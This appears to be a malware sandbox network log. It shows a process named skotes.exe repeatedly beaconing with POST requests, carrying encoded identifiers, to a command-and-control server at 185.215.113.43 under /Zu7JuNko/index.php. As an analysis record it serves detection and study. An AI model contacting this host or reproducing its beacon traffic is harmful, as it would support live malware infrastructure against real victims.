Dec 17, 2024 22:08:06.325798035 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 17, 2024 22:08:07.715681076 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:08:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	50080	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:08:09.711416960 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 17, 2024 22:08:11.045099020 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:08:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	50081	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:08:12.700088024 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 17, 2024 22:08:14.085397959 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:08:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	50082	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:08:16.852608919 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 17, 2024 22:08:18.210321903 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:08:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	50083	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:08:19.901694059 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 17, 2024 22:08:21.282718897 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:08:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	50084	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:08:23.038240910 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 17, 2024 22:08:24.468235970 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:08:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	50085	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:08:26.100195885 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 17, 2024 22:08:27.456254959 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:08:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	50086	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:08:29.212522984 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 17, 2024 22:08:30.614434958 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:08:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	50087	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:08:32.276515961 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 17, 2024 22:08:33.643424988 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:08:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	50089	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:08:35.647478104 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	50090	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:08:37.540137053 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 17, 2024 22:08:38.733936071 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:08:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	50093	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:08:40.685048103 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 17, 2024 22:08:42.018125057 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:08:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	50094	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:08:43.646944046 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 17, 2024 22:08:44.982475996 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:08:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	50096	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:08:46.745914936 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 17, 2024 22:08:48.187345028 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:08:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	50098	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:08:49.818942070 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 17, 2024 22:08:51.251553059 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:08:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	50102	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:08:53.007633924 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 17, 2024 22:08:54.352209091 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:08:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	50103	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:08:55.996335030 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 17, 2024 22:08:57.339401960 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:08:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	50106	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:08:59.083626032 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 17, 2024 22:09:00.505640030 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:09:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	50108	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:09:02.179418087 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 17, 2024 22:09:03.554426908 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:09:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	50109	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:09:05.343555927 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 17, 2024 22:09:06.684623003 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:09:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	50110	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:09:08.318736076 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 17, 2024 22:09:09.735678911 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:09:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.4	50111	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:09:11.519062042 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 17, 2024 22:09:12.881290913 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:09:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.4	50112	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:09:14.506633043 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 17, 2024 22:09:15.892858028 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:09:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.4	50113	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:09:17.647341967 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
